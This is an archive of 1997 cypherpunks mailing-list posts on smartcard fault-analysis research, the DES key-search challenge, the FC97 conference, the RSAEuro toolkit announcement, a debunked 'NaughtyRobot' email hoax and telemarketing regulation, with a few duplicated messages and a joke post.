anonymous ftp to ftp.csua.berkeley.edu:/pub/cypherpunks

This site contains code, information, rants, and other miscellany.
There is a glossary there that all new members should download and
read.  Also recommended for all users are Hal Finney's instructions on
how to use the anonymous remailer system; the remailer sources are
there for the perl-literate.

C. Bruce Schneier's _Applied Cryptography_, published by Wiley

This is required reading for any serious technical cypherpunk (and there
are no non-technical cypherpunks).  An excellent overview of the field,
it describes many of the basic algorithms and protocols with their
mathematical descriptions.  Some of the stuff at the edges of the scope
of the book is a little incomplete, so short descriptions in here should
lead to library research for the latest papers, or to the list for the
current thinking.  All in all, a solid and valuable book.  It's even got
the cypherpunks-request address.


Enjoy and deploy.


-----------------------------------------------------------------------------

Cypherpunks assume privacy is a good thing and wish there were more
of it.  Cypherpunks acknowledge that those who want privacy must
create it for themselves and not expect governments, corporations, or
other large, faceless organizations to grant them privacy out of
beneficence.  Cypherpunks know that people have been creating their
own privacy for centuries with whispers, envelopes, closed doors, and
couriers.  Cypherpunks do not seek to prevent other people from
speaking about their experiences or their opinions.

The most important means to the defense of privacy is encryption. To
encrypt is to indicate the desire for privacy.  But to encrypt with
weak cryptography is to indicate not too much desire for privacy.
Cypherpunks hope that all people desiring privacy will learn how best
to defend it.

Cypherpunks are therefore devoted to cryptography.  Cypherpunks wish
to learn about it, to teach it, to implement it, and to make more of
it.  Cypherpunks know that cryptographic protocols make social
structures.  Cypherpunks know how to attack a system and how to
defend it.  Cypherpunks know just how hard it is to make good
cryptosystems.

Cypherpunks love to practice.  They love to play with public key
cryptography.  They love to play with anonymous and pseudonymous mail
forwarding and delivery.  They love to play with DC-nets.  They love
to play with secure communications of all kinds.

Cypherpunks write code.  They know that someone has to write code to
defend privacy, and since it's their privacy, they're going to write
it.  Cypherpunks publish their code so that their fellow cypherpunks
may practice and play with it.  Cypherpunks realize that security is
not built in a day and are patient with incremental progress.

Cypherpunks don't care if you don't like the software they write. 
Cypherpunks know that software can't be destroyed.  Cypherpunks know
that a widely dispersed system can't be shut down.

Cypherpunks will make the networks safe for privacy.

[Last updated Sun Feb 16 13:10:56 CST 1997 ichudov@algebra.com]
[Adopted from the original version by John Gilmore and Eric Hughes]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 16 Feb 1997 14:43:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: DFA
Message-ID: <199702162243.OAA05104@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Paul Bell wrote:
>does anyone know what has happened to DFA, and the people who
>just a few months ago were publishing such encouraging results?

There seems be sustained investigation of DFA, offensive and defensive,
by Biham and Shamir, by Anderson and Kuhn, by the Bellcore team, by 
Quisquater and others.

However, the smartcard manufacturers appear to have a role in dampening 
publicity about the ongoing research, or at least diminishing the claims of 
effectiveness of DFA. Carol Francher, of Motorola, for example, writes
in February IEEE Spectrum:

   Technology is a wonderful thing but criminals, too, can use it as new 
   equipment and techniques become available or less expensive the 
   barriers to cracking a system may weaken. Recently Bellcore 
   announced a paper, "Cryptanalysis in the presence of hardware faults" 
   (available at www.bellcore.com), that proposed a theoretical method for
   breaking an asymmetric encryption code once a computer (or a 
   smartcard microcontroller) had been forced into faulty behavior.

   The Smart Card Forum, a multi-industry membership organization 
   headquartered in Tampa, Fla., has stated that it does not regard this 
   approach as a real-world risk, since in smartcard applications more 
   than one technique is used to protect the security of the entire system. 
   But the Bellcore methodology for breaking algorithms -- as well as 
   similar theoretical approaches, such as the one taken by two Israeli 
   researchers, Eli Biham and Adi Shamir -- highlights the need to 
   analyze and evolve the security of any system continually.

   -- "In your pocket: smartcards."  <http://jya.com/tee08.htm>

Several of the DFA-type researchers have commented on the smartcard 
industry's reluctance to publicize security weaknesses when the push is 
on to increase consumer trust and use; see, for example, Anderson and
Kuhn at:

  http://www.cl.cam.ac.uk/users/rja14/tamper.html

Quisquater and the SG group also note the reluctance of smartcard
mass-marketers to own up to security shortcomings of which their own
engineers know and fret.

Meanwhile, the DFA proponents and opponents are eagerly absorbing the 
continuing DFA-relatged reports, quietly watching one another, and both 
sides eying the booming smartcard market for lucrative rewards, as Ms. 
Francher suggests: licit and il.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sun, 16 Feb 1997 14:41:27 -0800 (PST)
To: Sean Roach <roach_s@alph.swosu.edu>
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702162241.OAA04949@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Sean Roach wrote:
> 
> At 04:45 PM 2/15/97 -0600, Igor Chudov wrote:
> >Roy M. Silvernail wrote:
> ...
> >> Or that the money wasn't there in the first place (absent a trusted
> >> signature system), or the key doesn't exist, or the wrong key is
> >> offered, or the sender put the same e-dollar on all 60000 mails sie
> >> sent and it's already been redeemed.
> >
> >Well, if the trusted party performs the encryption by both recipient's
> >public key and the "retrieval key", the problem that you mention can 
> >be avoided.
> Yeah.  I as a spam artist send the "proof" message through the e-cash
> verification center with the Send To: field returning it to a mail exploder.
> Each receipient gets the same dollar.
> This assumes that the To: field is not hashed into the verification
> signature, and that the verification works like a glorified remailer.  (cash
> added on a separate channel).
> 

Sean,

No, it works the other way. The verification center gets $1000, creates
1000 $1 coins, signs them and encrypts each with the given recipients' 
public keys.

The spammers gets these signed and encrypted coins, may superencrypt
them and sends them to the recipients.

As long as the trusted party is honest, there is no way to cheat.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Thomas S." <ths@rz.tu-ilmenau.de>
Date: Sun, 16 Feb 1997 07:26:15 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: (fwd) DES challenge organisation
Message-ID: <199702161526.HAA18395@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi!

(wow, what a distribution. I should mention that des-challenge is down
this weekend, so the response may not be as expected.)

>>>>> "Timothy" == Timothy C May <tcmay@got.net> writes:

    Timothy> At 11:02 PM +0000 2/15/97, Adam Back wrote:

    >> Thomas S <ths@fh28.fa.umist.ac.uk> writes:
    >>> [...]
    >>> 
    >>> 5. The prize money will be split equally between Gutenberg and
    >>> EFF. There is a possibility of using part of it for stickers
    >>> or something similar, but don't count on it.
    >>  Not a good idea.
    >> 
    >> How can this be enforced? The RSADSI DES challenge is open to
    >> all comers, and how do you prove that someone who finds the key
    >> found it through this group effort?

The client reports the key to the server, not to the user (very
simple, and very simple ways to get around of course). In a nutshell:
we can't enforce it, at least I can't see a way to do so. We certainly
can't keep people from doing their own "treasure hunt".

...
    Timothy> A 2-4x factor is significant, and may warrant a
    Timothy> coordinated search. However, the various problems
    Timothy> implicit in coordinated searches are factors, too.

    Timothy> Also, an uncoordinated search solves the "prize" problem,
    Timothy> as whomever finds the key makes the contact with RSADSI.

Indeed--that's what we try to avoid. Our project is not a race for
money, it is a demonstration with a political impact.

The main point in favour of a coordinated search is the availability
of progress reports. Nobody can argue that the key was found by
chance--as there is exact data about performance and the expected
maximum duration for the search.

    Timothy> One of the problems with a coordinated search, if the
    Timothy> remaining keyspace to be doled out is publically
    Timothy> announced, is that as the keyspace is searched and a key
    Timothy> _not_ found, the remaining keyspace is increasingly more
    Timothy> tempting for "independent searchers" to search. Sort of
    Timothy> the way the odds on some lotteries actually become
    Timothy> "acceptable" as the lottery pot grows. The organizer of
    Timothy> the coordinated search must then, I surmise, keep the
    Timothy> assignments secret and dole out keyspace securely.

This is a technical problem which is discussed at the moment. The
keyspace will not be publically announced (and it wasn't during the
last project).

			Thomas
-- 
    OOOO,    OOOOOOOO,  |, ths@rz.tu-ilmenau.de
  OO,   OO,   O,    O,  |, http://www.rz.tu-ilmenau.de/~ths/
 O,       O,   O,       |, ______   __   ___
 O, O--O, O,    O,      |,  |      (_   |-|-`   
 O,       O,   O,       |,  |homas __)te| |en   
  OO,   OO,   O,    O,  |, 
    OOOO,    OOOOOOOO,  |, not to be forwarded without permission








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Thomas S." <ths@rz.tu-ilmenau.de>
Date: Sun, 16 Feb 1997 10:12:10 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: (fwd) DES challenge organisation
Message-ID: <199702161812.KAA24934@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi!

(wow, what a distribution. I should mention that des-challenge is down
this weekend, so the response may not be as expected.)

>>>>> "Timothy" == Timothy C May <tcmay@got.net> writes:

    Timothy> At 11:02 PM +0000 2/15/97, Adam Back wrote:

    >> Thomas S <ths@fh28.fa.umist.ac.uk> writes:
    >>> [...]
    >>> 
    >>> 5. The prize money will be split equally between Gutenberg and
    >>> EFF. There is a possibility of using part of it for stickers
    >>> or something similar, but don't count on it.
    >>  Not a good idea.
    >> 
    >> How can this be enforced? The RSADSI DES challenge is open to
    >> all comers, and how do you prove that someone who finds the key
    >> found it through this group effort?

The client reports the key to the server, not to the user (very
simple, and very simple ways to get around of course). In a nutshell:
we can't enforce it, at least I can't see a way to do so. We certainly
can't keep people from doing their own "treasure hunt".

...
    Timothy> A 2-4x factor is significant, and may warrant a
    Timothy> coordinated search. However, the various problems
    Timothy> implicit in coordinated searches are factors, too.

    Timothy> Also, an uncoordinated search solves the "prize" problem,
    Timothy> as whomever finds the key makes the contact with RSADSI.

Indeed--that's what we try to avoid. Our project is not a race for
money, it is a demonstration with a political impact.

The main point in favour of a coordinated search is the availability
of progress reports. Nobody can argue that the key was found by
chance--as there is exact data about performance and the expected
maximum duration for the search.

    Timothy> One of the problems with a coordinated search, if the
    Timothy> remaining keyspace to be doled out is publically
    Timothy> announced, is that as the keyspace is searched and a key
    Timothy> _not_ found, the remaining keyspace is increasingly more
    Timothy> tempting for "independent searchers" to search. Sort of
    Timothy> the way the odds on some lotteries actually become
    Timothy> "acceptable" as the lottery pot grows. The organizer of
    Timothy> the coordinated search must then, I surmise, keep the
    Timothy> assignments secret and dole out keyspace securely.

This is a technical problem which is discussed at the moment. The
keyspace will not be publically announced (and it wasn't during the
last project).

			Thomas
-- 
    OOOO,    OOOOOOOO,  |, ths@rz.tu-ilmenau.de
  OO,   OO,   O,    O,  |, http://www.rz.tu-ilmenau.de/~ths/
 O,       O,   O,       |, ______   __   ___
 O, O--O, O,    O,      |,  |      (_   |-|-`   
 O,       O,   O,       |,  |homas __)te| |en   
  OO,   OO,   O,    O,  |, 
    OOOO,    OOOOOOOO,  |, not to be forwarded without permission








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 16 Feb 1997 14:41:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: *Really* Shameless, Gratuitous, FC97 DFA Hucksterism (Was Re: DFA)
Message-ID: <199702162241.OAA04953@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 1:29 pm -0500 on 2/16/97, John Young wrote:


> Paul Bell wrote:
> >does anyone know what has happened to DFA, and the people who
> >just a few months ago were publishing such encouraging results?
>
> There seems be sustained investigation of DFA, offensive and defensive,
> by Biham and Shamir, by Anderson and Kuhn, by the Bellcore team, by
> Quisquater and others.
>
> However, the smartcard manufacturers appear to have a role in dampening
> publicity about the ongoing research, or at least diminishing the claims of
> effectiveness of DFA.

At FC97 <http://www.offhsore.com.ai/fc97/> ;-), we have the following paper
at 10:45 on Tuesday February 22nd:


>     Fault Induction Attacks, Tamper Resistance, and Hostile Reverse
>         Engineering in Perspective
>     David P. Maher (AT&T Labs--Research, Murray Hill, NJ, USA)

I'm not sure whether which side of the fight this paper will be on, but it
could be easy to speculate from the title. :-).

On the other side of the coin, we invited Shamir to come talk about his DFA
work, but eventually it turned out that he couldn't make the trip. Maybe
next year. We *did* get Ron Rivest, though.

(Shameless plug: Our *other* invited speakers are Simon L. Lelieveldt of
the Dutch central bank, who'll talk about the security of electronic money,
and Peter Wayner, the author of "Digital Cash", who'll talk about money
laundering.) (*Really* shameless hucksterism: Since AA *didn't* strike,
they're offering mucho cheapseat deals to places like Anguilla and St.
Maarten, a short ferry ride away, even if you make your reservations on
really short notice. Like, maybe to go to FC97? Nudge, Nudge. We can also
get you *cheap* hotel rooms when you get there... Wink, wink, wink.)

Meanwhile, the FC97 workshop (which runs the week prior to the conference
itself) starts on Monday, and, having weathered the American Airlines
non-strike, Ian Goldberg, Adam Shostack and Gary Howland are now all down
in Anguilla getting things set up. I don't think people can get to *that*
in time, but, hey, you could *try*, I suppose. Better get packing, though,
'cause time is running out. The workshop starts at 09:00 tomorrow.
<http://www.offshore.com.ai/fc97/>

;-).

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Newton <newton@atdot.dotat.org>
Date: Sat, 15 Feb 1997 22:56:28 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: (fwd) DES challenge organisation
Message-ID: <199702160656.WAA27615@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:

 > The organizer of the coordinated search must then, I surmise, keep the
 > assignments secret and dole out keyspace securely.

Perhaps they should DES-encrypt the list of assignments :-)

    - mark

--------------------------------------------------------------------
I tried an internal modem,                          newton@dotat.org
     but it hurt when I walked.                          Mark Newton
----- Voice: +61-4-1155-2401 ------------- Fax: +61-8-83732527 -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sun, 16 Feb 1997 16:11:03 -0800 (PST)
To: Dave Hayes <dave@kachina.jetcafe.org>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702170011.QAA08625@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 01:13 PM 2/16/97 -0800, Dave Hayes wrote:

>I can also offer my participation in the distributed mailing list, if
>that is what it takes to get cypherpunks free of control interests again.

I think it would be more accurate to say that this is what it takes to get
cypherpunks into the hands of different control interests. 


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=tT97
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--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Clinton <president@whitehouse.gov>
Date: Sun, 16 Feb 1997 14:41:13 -0800 (PST)
To: Those cypher-rebels <cypherpunks@toad.com>
Subject: We're in Anguilla! Comon down!!!
Message-ID: <199702162241.OAA04900@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


My fellow cypherpunks,

	I wanted to let you all know, we are having a great time, building
a router to the 21st Century, down here in sunny Anguilla.   Al and I will
be wiring Anguilla's great high school for the internet.  Afterwards, we'll
meet with some longtime supporters of the democratic party for a beer.

	Spaces at the conference are still available, I didn't let those
folks at American strike, so you have no excuses to be anywhere else next
week.  

Willy
Citizen Unit 429-92-9947
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Sun, 16 Feb 1997 14:57:48 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: Questions about Naughty Robot (fwd)
Message-ID: <199702162257.OAA05806@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Genocide <gen2600@aracnet.com> writes:
>         I got this message (on a system that I am webmaster on) regarding
> something that sounded so stupid it made me chuckle...Naughty Robot...I
> have enclosed the message below.  If any of you have any idea what this
> user is talking about, any info would be appreciated.
<snip>
> >> I had a customer in Tennesee who got an E-Mail saying that Naughty Robot
> >> has infected your host computer and consider all your credit cards
> >> stolen.
> >> 
> >> I think it's a hoax, but the Admins at VR-NET Cafe say that they have
> >> been hit with it and say that it's a script that does hack into the
> >> IPS's server and sits back and watches the users browse the web and take
> >> the info they see on there screen and dump to some remote server??
> >> 
> >> I was wondering if you have heard about it...and if so can you direct to
> >> the right locations on the web to get the "Official" Scoop on it?

It could theoretically be a JavaScript that makes a teeny tiny window
and reports back stuff that it really shouldn't be able to see, I
think Netscape fixed that bug, though.

FWIW,
Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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V3D3KWXVNai4ptHwB5ldM2GT+IQP0VJg
=veqx
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 16 Feb 1997 14:56:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: FC97: Post-strike airfares
Message-ID: <199702162256.OAA05751@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


One more datablip about FC97 and I'll shut up a bit.

Having just promised gratuitously cheap airfares to Anguilla/St. Maarten, I
went and called the local branch of American Express Travel and got some
actual prices. Their number is 617-868-2600, but AEXP-T has branches
everywhere, and, I think, an 800 number, so you might want to get ahold of
them that way...

Anyway, here's what I got, as of about 20 minutes ago:

For departures 2/22/97 with return 3/1/97,

Boston  Anguilla           $  864
Boston  St. Maarten           851 (+ Taxi and short ferry ride to Anguilla)
San Francisco  Anguilla       828
San Francisco  St. Maarten    748
Heathrow  Anguilla          1,315 (looks like the strike didn't affect you
folks, sorry)

All in all, that's as good as the prices we were getting for 14 day advance
purchase earlier this month. Not bad, but not completely spectacular. Note
that it's cheaper to get to Anguilla or St. Maarten from San Francisco than
it is from Boston, so y'all don't have an excuse. Well, possibly seat
fatigue, but Sunday on the beach will fix that.

I'll check tomorrow to see if the airline yield management software war
gives us something better after the weekend's over. Only if fares are
significantly lower will I post something here about it, in the interest of
nomex conservation. :-).

If you *do* decide to fly while the seats are hot, don't forget to register
for FC97 first, so we can plan for meals and stuff:
<http://www.offshore.com.ai/fc97/>

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sun, 16 Feb 1997 15:26:15 -0800 (PST)
To: ISP_Ratings <boursy@earthlink.net>
Subject: Re: Proposed info file
Message-ID: <199702162326.PAA06979@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


ISP_Ratings wrote:
> Igor Chudov @ home wrote:
> > About cypherpunks mailing lists
> > -------------------------------
> 
> 
>   It all sounds very interesting especially given what's been going
> on.  About how many posts a day can a subscriber reasonbly expect
> in their mailbox if one were to subscribe?
> 

About a hundred, maybe. It is QUITE A LOT. If you are not interested
in applications of cryptography, the list may not be as interesting.
All the bickering that you heard is mostly rotating around crypto use.


	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ISP_Ratings <boursy@earthlink.net>
Date: Sun, 16 Feb 1997 15:26:10 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Proposed info file
Message-ID: <199702162326.PAA06963@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> 
> Hi,
> 
> The text below is what I wrote for cypherpunks@algebra.com to be
> sent to new subscribers. Feel free to criticize.
> 
>         - Igor.
> 
> @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
> 
> About cypherpunks mailing lists
> -------------------------------


  It all sounds very interesting especially given what's been going
on.  About how many posts a day can a subscriber reasonbly expect
in their mailbox if one were to subscribe?

                       Steve





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bs-org@c2.net
Date: Sun, 16 Feb 1997 09:56:15 -0800 (PST)
To: John Ioannidis <pgut001@cs.auckland.ac.nz
Subject: Re: DES and RSA crypto hardware from the free world
Message-ID: <199702161756.JAA24294@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 21:32 1997-02-15 -0200, John Ioannidis wrote:

Sorry to correct you, but uti-maco is an old  german company ...

>I believe uti-Maco (a belgian company) has been using the Pijnenburg chips
>for their boards. However, last I checked with them (about half a year ago)
>the price of the boards was pretty steep -- of the order of $1K. 
>
>Anyway, if the boards Peter is referring to are ready in the next couple 
>of months, I volunteer to write drivers for Linux and *BSD*.
>
>/ji
>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bs-org@c2.net
Date: Sun, 16 Feb 1997 14:42:56 -0800 (PST)
To: John Ioannidis <pgut001@cs.auckland.ac.nz
Subject: Re: DES and RSA crypto hardware from the free world
Message-ID: <199702162242.OAA05065@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 21:32 1997-02-15 -0200, John Ioannidis wrote:

Sorry to correct you, but uti-maco is an old  german company ...

>I believe uti-Maco (a belgian company) has been using the Pijnenburg chips
>for their boards. However, last I checked with them (about half a year ago)
>the price of the boards was pretty steep -- of the order of $1K. 
>
>Anyway, if the boards Peter is referring to are ready in the next couple 
>of months, I volunteer to write drivers for Linux and *BSD*.
>
>/ji
>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sun, 16 Feb 1997 19:56:26 -0800 (PST)
To: "Cynthia H. Brown" <cynthb@sonetis.com>
Subject: Re: More on digital postage
Message-ID: <199702170356.TAA17431@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 6:36 PM -0500 2/16/97, Cynthia H. Brown wrote:

>My understanding is that the legislation restricts commercial
>solicitations by phone to:
>
>- certain times of day (not after 9 PM? unsure)
>- one initial call, and no follow-ups if the person explicitly asks
>the caller to never phone this number again (again, unsure of legal
>details)
>
>I don't consider this scenario overly restrictive, since it gives
>_them_ a chance to sell their product, and _me_ a chance to have them
>delete my name from their database.  Unfortunately, without some
>formal means of redress, very few telemarketers seem to remember that
>they are unlikely to find new customers if they call at 7 AM Saturday
>for the third time this month.

I despise telemarketing calls as much as the next one, and I now let my
answering machine do the answering whenever possible, only picking up if
it's a call that sounds interesting. (And my cellular phone number I give
to only a very few people, as I get charged for incoming calls before 7
p.m.)

So, I'm sympathetic to the "problem."

However, I try to always "deconstruct" governmental/regulatory "solutions"
to see if statist encroachment is lurking in the bushes.

In the case of the notion of "have them delete my name from their
database," here are some of the issues:

* The Armour Spam Company buys its data bases from direct marketing firms,
so whose data base is one's name supposed to be removed from? The instance
used by Armour in its February 17th contact, or the "parent index" (which
is itself an instance) controlled by someone else? How does Armour insist
that the data base company from which it bought the data base handle the
removal?

* If the argument is only that Armour Spam Company not repeat a call, this
is generally not a problem, as few companies repeat their telemarketing
pitches; counterexamples doubtless exist, but the general trend is not for
repeat calls, but, rather, for the same data base to be bought by multiple
telemarketing firms.

* And there are "freedom of speech" (important in the U.S., though not
perhaps in other countries lacking an explicit provision in their
constitutions or charters) issues in forcing sellers of legally obtained
data bases to reveal internals, to modify them, etc.

(Again, it is Armour Spam Company that made the offending call, but they,
for this example, only made the call _once_. The fact that N other
companies make similar calls, based on the same data base, is a separable
issue. Unless the collection and sale of legally-accumulated data bases is
regulated, no real remedy exists. I am not, of course, a fan of regulating
data bases, but that's a long and involved issue to discuss.)

>What means of redress would you suggest, in the absence of
>legislation / fines, to someone who has been called repeatedly by a
>telemarketer?  This person is not a current customer and so cannot
>withdraw his/her business.

As I said, I believe the case of repeated calls by the _same_ telemarketer
is unusual. Perhaps others have had different experiences.

And if a particular telemarketer is banned from calling twice, their
solution will be obvious: they'll change their company name, farm out the
calls to a subcontractor, etc. That is, they'll become a different
"corporate instance."

It'll be very tough for any law to keep up with such changes (without
trampling severely on what most of us think of us as basic freedoms).

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: RSAEuro General <rsaeuro@sourcery.demon.co.uk>
Date: Sun, 16 Feb 1997 14:41:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: ANNOUNCE:- RSAEuro
Message-ID: <199702162241.OAA04950@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


ANNOUNCE:- RSAEuro Version 1.04 (Internet) and 1.10 (Commercial)
================================================================

What is RSAEuro?
----------------

RSAEuro is a cryptographic toolkit providing various functions
for the use of digital signatures, data encryption and supporting
areas (PEM encoding, random number generation etc).  To aid
compatibility with existing software, RSAEuro is call-compatible
with RSADSI's "RSAREF(tm)" toolkit. RSAEuro allows non-US
residents to make use of much of the cryptographic software
previously only (legally) available in the US.

RSAEuro contains support for the following:

*    RSA encryption, decryption and key generation.  Compatible
     with 'RSA Laboratories' Public-Key Cryptography Standard
     (PKCS) #1.

*    Generation and verification of message digests using MD2,
     MD4, MD5 and SHS (SHS currently not implemented in
     higher-level functions to maintain compatibility with
     PKCS).

*    DES encryption and decryption using CBC (1, 2 or 3 keys
     using Encrypt-Decrypt-Encrypt) and DESX(tm), RSADSI's
     secure DES enhancement. Blowfish and RRC.2 encryption and
     decryption using CBC (available in commercial versions
     only).

*    Diffie-Hellman key agreement as defined in PKCS #3.

*    PEM support support for RFC 1421 encoded ASCII data with
     all main functions.

*    Key routines implemented in assembler for speed (80386 and
     680x0 currently supported).

*    Much improved library documentation with code samples.

International Use
-----------------

IMPORTANT NOTICE:  Please do not distribute or use this software
in the US it is 'illegal' to use this toolkit in the US, as RSADSI and
Cylink hold patents relating to public-key cryptography.  If you are a
US resident, please use the RSAREF toolkit instead.

On The Web
----------

RSAEuro can now be found at

http://www.sourcery.demon.co.uk/RSAEuro.html

Author Details
--------------

With comments and suggestions, please address them to Stephen Kapp, at
'rsaeuro@sourcery.demon.co.uk', for documentation comments suggestions
please address them to Nick Barron, at 'nikb@sourcery.demon.co.uk'
----------------------------------------------------------------------------
RSAEURO:      rsaeuro@sourcery.demon.co.uk
RSAEURO Bugs: rsaeuro-bugs@sourcery.demon.co.uk
Tel:          +44 (0) 468 286034
Http:         http://www.sourcery.demon.co.uk/rsaann.html

RSAEURO - Copyright (c) J.S.A.Kapp 1994-1996.
----------------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chris Kuethe 1024 <ckuethe@gpu.srv.ualberta.ca>
Date: Sun, 16 Feb 1997 18:12:42 -0800 (PST)
To: Genocide <gen2600@aracnet.com>
Subject: Re: Questions about Naughty Robot (fwd)
Message-ID: <199702170212.SAA13047@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 16 Feb 1997, Genocide wrote:

> 
> 	I got this message (on a system that I am webmaster on) regarding
> something that sounded so stupid it made me chuckle...Naughty Robot...I
> have enclosed the message below.  If any of you have any idea what this
> user is talking about, any info would be appreciated.
> 
> 	Personally it sounds like another "GoodTimes Virus" again...
> 
> Genocide
> Head of the Genocide2600 Group

It is another fake... this is what my ISP's sysadmin sent me about it...

----Begin Fwd Message----
Subject: 
          NaughtyRobot - DON'T PANIC! 
     Date: 
          Sun, 16 Feb 1997 15:10:38 -0700 
    From: 
          owner-all-users
Reply-To: 
          Zbigniew Indelak <zeebee@superiway.net>


You may receive (or may have already received) a message that looks like
if it was sent from your own account with the subject line "security
breached by NaughtyRobot".  In the message, you will most likely be told
that all of your personal information has been accessed by NaughtyRobot
and that you should contact the police, disconnect your phone line, cut
up your credit cards and report them as stolen, etc, etc.  DON'T PANIC!
It's just a bad joke someone is playing on you.  For more information on
this issue, read the article at

http://www.rah96.com/rah96/naughtyr.shtml

--
Zbigniew Indelak (ZeeBee)       | mailto:zeebee@superiway.net
Network Operations Manager      | http://www.superiway.net
Super i-Way Internet Services   | Tel: (403)413-9465


--
Chris Kuethe <ckuethe@gpu.srv.ualberta.ca> LPGV Electronics and Controls
   'finger -l ckuethe@gpu.srv.ualberta.ca' for pgp keys
        <c100305@wolfcreek.cs.ualberta.ca> http://www.ualberta.ca/~ckuethe/
RSA in 2 lines of PERL lives at http://www.dcs.ex.ac.uk/~aba/rsa/          
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>   
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Sun, 16 Feb 1997 16:11:04 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: More on digital postage
Message-ID: <199702170011.QAA08626@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 15 Feb 1997 at 23:30:17 Timothy C. May wrote:

> At 1:09 AM -0500 2/16/97, Cynthia H. Brown wrote:
> 
> >Here in Canada, the CRTC (Canadian Radio & Telecomms Commission) put
> >out rules limiting the time of day, etc. for phone spam (voice or
> >fax).  Does anyone out there have the specifics of the CRTC regs?
> 
> "Spam" has rapidly become one of those overused, overloaded, meaningless
> words. Everything bad on the Net these days is labelled "spam."
> 
> For the phone example in Canada, just what is "spam"?
>
> -- Is it the semi-traditional definition of "spam," i.e., a phone call made
